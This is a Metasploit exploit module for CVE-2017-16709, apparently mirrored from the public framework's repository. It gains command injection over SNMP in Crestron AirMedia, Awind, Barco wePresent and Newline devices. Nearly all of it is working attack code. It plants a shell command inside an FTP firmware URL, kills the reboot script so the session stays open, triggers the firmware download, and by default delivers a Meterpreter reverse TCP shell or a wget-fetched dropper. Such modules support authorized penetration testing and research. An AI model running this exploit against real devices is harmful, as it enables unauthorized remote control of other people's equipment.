CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SNMPClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "AwindInc SNMP Service Command Injection",
15
'Description' => %q{
16
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
17
A valid SNMP read-write community is required to exploit this vulnerability.
18
19
The following devices are known to be affected by this issue:
20
21
* Crestron Airmedia AM-100 <= version 1.5.0.4
22
* Crestron Airmedia AM-101 <= version 2.5.0.12
23
* Awind WiPG-1600w <= version 2.0.1.8
24
* Awind WiPG-2000d <= version 2.1.6.2
25
* Barco wePresent 2000 <= version 2.1.5.7
26
* Newline Trucast 2 <= version 2.1.0.5
27
* Newline Trucast 3 <= version 2.1.3.7
28
},
29
'License' => MSF_LICENSE,
30
'Author' =>
31
[
32
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
33
],
34
'References' =>
35
[
36
['CVE', '2017-16709'],
37
['URL', 'https://github.com/QKaiser/awind-research'],
38
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
39
],
40
'DisclosureDate' => '2019-03-27',
41
'Platform' => ['unix', 'linux'],
42
'Arch' => [ARCH_CMD, ARCH_ARMLE],
43
'Privileged' => true,
44
'Targets' => [
45
['Unix In-Memory',
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'Type' => :unix_memory,
49
'Payload' => {
50
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}
51
}
52
],
53
['Linux Dropper',
54
'Platform' => 'linux',
55
'Arch' => ARCH_ARMLE,
56
'CmdStagerFlavor' => %w[wget],
57
'Type' => :linux_dropper
58
]
59
],
60
'DefaultTarget' => 1,
61
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))
62
63
register_options(
64
[
65
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
66
])
67
end
68
69
70
def check
71
begin
72
connect_snmp
73
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
74
print_status("Target system is #{sys_description}")
75
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
76
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
77
case model
78
when 'AM-100', 'AM-101'
79
return CheckCode::Vulnerable
80
else
81
# TODO: insert description check for other vulnerable models (that I don't have)
82
# In the meantime, we return 'safe'.
83
return CheckCode::Safe
84
end
85
rescue SNMP::RequestTimeout
86
print_error("#{ip} SNMP request timeout.")
87
rescue Rex::ConnectionError
88
print_error("#{ip} Connection refused.")
89
rescue SNMP::UnsupportedVersion
90
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
91
rescue ::Interrupt
92
raise $!
93
rescue ::Exception => e
94
print_error("Unknown error: #{e.class} #{e}")
95
ensure
96
disconnect_snmp
97
end
98
Exploit::CheckCode::Unknown
99
end
100
101
def inject_payload(cmd)
102
begin
103
connect_snmp
104
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
105
resp = snmp.set(varbind)
106
if resp.error_status == :noError
107
print_status("Injection successful")
108
else
109
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
110
end
111
rescue SNMP::RequestTimeout
112
print_error("#{ip} SNMP request timeout.")
113
rescue Rex::ConnectionError
114
print_error("#{ip} Connection refused.")
115
rescue SNMP::UnsupportedVersion
116
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
117
rescue ::Interrupt
118
raise $!
119
rescue ::Exception => e
120
print_error("Unknown error: #{e.class} #{e}")
121
ensure
122
disconnect_snmp
123
end
124
end
125
126
def trigger
127
begin
128
connect_snmp
129
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
130
resp = snmp.set(varbind)
131
if resp.error_status == :noError
132
print_status("Trigger successful")
133
else
134
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
135
end
136
rescue SNMP::RequestTimeout
137
print_error("#{ip} SNMP request timeout.")
138
rescue Rex::ConnectionError
139
print_error("#{ip} Connection refused.")
140
rescue SNMP::UnsupportedVersion
141
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
142
rescue ::Interrupt
143
raise $!
144
rescue ::Exception => e
145
print_error("Unknown error: #{e.class} #{e}")
146
ensure
147
disconnect_snmp
148
end
149
end
150
151
def exploit
152
case target['Type']
153
when :unix_memory
154
execute_command(payload.encoded)
155
when :linux_dropper
156
execute_cmdstager
157
end
158
end
159
160
def execute_command(cmd, opts = {})
161
# The payload must start with a valid FTP URI otherwise the injection point is not reached
162
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"
163
164
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
165
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
166
# keep our reverse shell opened :)
167
cmd << "$(pkill -f /etc/reboot.sh)"
168
169
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
170
cmd << "A" * (255-cmd.length)
171
172
# we inject our payload in camFWUpgradeFTPURL
173
print_status("Injecting payload")
174
inject_payload(cmd)
175
176
# we trigger the firmware download via FTP, which will end up calling this
177
# "/bin/getRemoteURL.sh %s %s %s %d"
178
print_status("Triggering call")
179
trigger
180
end
181
end
182
183